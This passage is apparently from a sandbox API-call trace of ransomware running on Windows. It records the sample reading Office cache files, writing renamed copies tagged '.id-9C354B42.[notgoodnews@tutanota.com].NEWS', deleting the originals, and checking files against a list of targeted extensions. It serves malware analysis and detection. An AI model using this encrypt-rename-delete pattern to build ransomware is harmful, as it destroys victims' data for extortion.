lpNumberOfBytesWritten=0x221fc9c*=0xee, lpOverlapped=0x0) returned 1 [0046.710] SetEndOfFile (hFile=0x19c) returned 1 [0046.710] CloseHandle (hObject=0x19c) returned 1 [0046.711] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.711] SetEndOfFile (hFile=0x1e8) returned 1 [0046.712] CloseHandle (hObject=0x1e8) returned 1 [0046.712] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.713] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0046.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.713] lstrlenW (lpString=".doc") returned 4 [0046.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.713] lstrlenW (lpString=".docx") returned 5 [0046.713] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.713] lstrlenW (lpString=".pdf") returned 4 [0046.713] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.713] lstrlenW (lpString=".xls") returned 4 [0046.713] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.713] lstrlenW (lpString=".xlsx") returned 5 [0046.713] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.713] lstrlenW (lpString=".ppt") returned 4 [0046.713] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.713] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.713] lstrlenW (lpString=".zip") returned 4 [0046.714] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.714] lstrlenW (lpString=".rar") returned 4 [0046.714] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString=".bz2") returned 4 [0046.714] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString=".7z") returned 3 [0046.714] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.714] lstrlenW (lpString=".dbf") returned 4 [0046.714] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.714] lstrlenW (lpString=".1cd") returned 4 [0046.714] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.714] lstrlenW (lpString=".jpg") returned 4 [0046.714] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.714] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.714] lstrlenW (lpString=".doc") returned 4 [0046.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString=".docx") returned 5 [0046.714] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.714] lstrlenW (lpString=".pdf") returned 4 [0046.714] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.714] lstrlenW (lpString=".xls") returned 4 [0046.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString=".xlsx") returned 5 [0046.715] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.715] lstrlenW (lpString=".ppt") returned 4 [0046.715] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.715] lstrlenW (lpString=".zip") returned 4 [0046.715] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.715] lstrlenW (lpString=".rar") returned 4 [0046.715] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString=".bz2") returned 4 [0046.715] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString=".7z") returned 3 [0046.715] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.715] lstrlenW (lpString=".dbf") returned 4 [0046.715] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.715] lstrlenW (lpString=".1cd") returned 4 [0046.715] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.715] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0046.715] lstrlenW (lpString=".jpg") returned 4 [0046.715] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.716] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.716] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0046.716] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.716] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=819) returned 1 [0046.716] CloseHandle (hObject=0x1e8) returned 1 [0046.716] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0046.716] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.717] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.717] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.717] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.717] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.717] GetLastError () returned 0x0 [0046.717] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x333, lpOverlapped=0x0) returned 1 [0046.720] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x340, lpOverlapped=0x0) returned 1 [0046.722] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.722] WriteFile (in: hFile=0x19c, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0046.723] SetEndOfFile (hFile=0x19c) returned 1 [0046.723] CloseHandle (hObject=0x19c) returned 1 [0046.724] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.724] SetEndOfFile (hFile=0x1e8) returned 1 [0046.725] CloseHandle (hObject=0x1e8) returned 1 [0046.725] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.726] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0046.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.726] lstrlenW (lpString=".doc") returned 4 [0046.726] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.726] lstrlenW (lpString=".docx") returned 5 [0046.726] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.726] lstrlenW (lpString=".pdf") returned 4 [0046.726] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.726] lstrlenW (lpString=".xls") returned 4 [0046.726] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.726] lstrlenW (lpString=".xlsx") returned 5 [0046.726] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.726] lstrlenW (lpString=".ppt") returned 4 [0046.726] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString=".zip") returned 4 [0046.727] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.727] lstrlenW (lpString=".rar") returned 4 [0046.727] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString=".bz2") returned 4 [0046.727] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString=".7z") returned 3 [0046.727] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString=".dbf") returned 4 [0046.727] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString=".1cd") returned 4 [0046.727] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString=".jpg") returned 4 [0046.727] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.727] lstrlenW (lpString=".doc") returned 4 [0046.728] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString=".docx") returned 5 [0046.728] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0046.728] lstrlenW (lpString=".pdf") returned 4 [0046.728] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString=".xls") returned 4 [0046.728] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString=".xlsx") returned 5 [0046.728] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0046.728] lstrlenW (lpString=".ppt") returned 4 [0046.728] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.728] lstrlenW (lpString=".zip") returned 4 [0046.728] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.728] lstrlenW (lpString=".rar") returned 4 [0046.728] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString=".bz2") returned 4 [0046.728] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.728] lstrlenW (lpString=".7z") returned 3 [0046.728] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.728] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.728] lstrlenW (lpString=".dbf") returned 4 [0046.728] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.729] lstrlenW (lpString=".1cd") returned 4 [0046.729] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.729] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0046.729] lstrlenW (lpString=".jpg") returned 4 [0046.729] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.729] lstrcmpiW (lpString1=".chm", lpString2=".NEWS") returned -1 [0046.729] lstrlenW (lpString="pss10r.chm") returned 10 [0046.729] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.328] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=27195) returned 1 [0047.328] CloseHandle (hObject=0x1f8) returned 1 [0047.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0047.328] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0047.328] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.328] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.329] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.329] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0047.329] GetLastError () returned 0x0 [0047.329] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0047.391] WriteFile (in: hFile=0x1fc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0047.400] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.400] WriteFile (in: hFile=0x1fc, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x221fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesWritten=0x221fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0047.400] SetEndOfFile (hFile=0x1fc) returned 1 [0047.401] CloseHandle (hObject=0x1fc) returned 1 [0047.402] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.402] SetEndOfFile (hFile=0x1f8) returned 1 [0047.548] CloseHandle (hObject=0x1f8) returned 1 [0047.548] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0047.548] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0047.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.549] lstrlenW (lpString=".doc") returned 4 [0047.549] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString=".docx") returned 5 [0047.549] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0047.549] lstrlenW (lpString=".pdf") returned 4 [0047.549] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString=".xls") returned 4 [0047.549] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString=".xlsx") returned 5 [0047.549] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0047.549] lstrlenW (lpString=".ppt") returned 4 [0047.549] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.549] lstrlenW (lpString=".zip") returned 4 [0047.549] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString=".rar") returned 4 [0047.549] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0047.549] lstrlenW (lpString=".bz2") returned 4 [0047.549] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0047.549] lstrlenW (lpString=".7z") returned 3 [0047.549] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0047.549] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.550] lstrlenW (lpString=".dbf") returned 4 [0047.550] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0047.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.550] lstrlenW (lpString=".1cd") returned 4 [0047.550] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0047.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.550] lstrlenW (lpString=".jpg") returned 4 [0047.550] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0047.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.550] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.550] lstrlenW (lpString=".doc") returned 4 [0047.550] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0047.550] lstrlenW (lpString=".docx") returned 5 [0047.550] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0047.550] lstrlenW (lpString=".pdf") returned 4 [0047.550] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0047.550] lstrlenW (lpString=".xls") returned 4 [0047.550] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0047.550] lstrlenW (lpString=".xlsx") returned 5 [0047.550] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0047.550] lstrlenW (lpString=".ppt") returned 4 [0047.551] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0047.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.551] lstrlenW (lpString=".zip") returned 4 [0047.551] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0047.551] lstrlenW (lpString=".rar") returned 4 [0047.551] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0047.551] lstrlenW (lpString=".bz2") returned 4 [0047.551] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0047.551] lstrlenW (lpString=".7z") returned 3 [0047.551] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0047.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.551] lstrlenW (lpString=".dbf") returned 4 [0047.551] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0047.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.551] lstrlenW (lpString=".1cd") returned 4 [0047.551] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0047.551] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0047.551] lstrlenW (lpString=".jpg") returned 4 [0047.551] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0047.552] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0047.552] lstrlenW (lpString="branding.xml") returned 12 [0047.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.552] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x221ff1c | out: lpFileSize=0x221ff1c*=596341) returned 1 [0047.552] CloseHandle (hObject=0x1f8) returned 1 [0047.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020 [0047.552] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0047.552] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.553] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.553] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x221fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.553] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0048.381] GetLastError () returned 0x0 [0048.381] ReadFile (in: hFile=0x1f8, lpBuffer=0x2ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x221fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ee0020*, lpNumberOfBytesRead=0x221fed4*=0x91975, lpOverlapped=0x0) returned 1 [0048.565] WriteFile (in: hFile=0x200, lpBuffer=0x2ee0020*, nNumberOfBytesToWrite=0x91980, 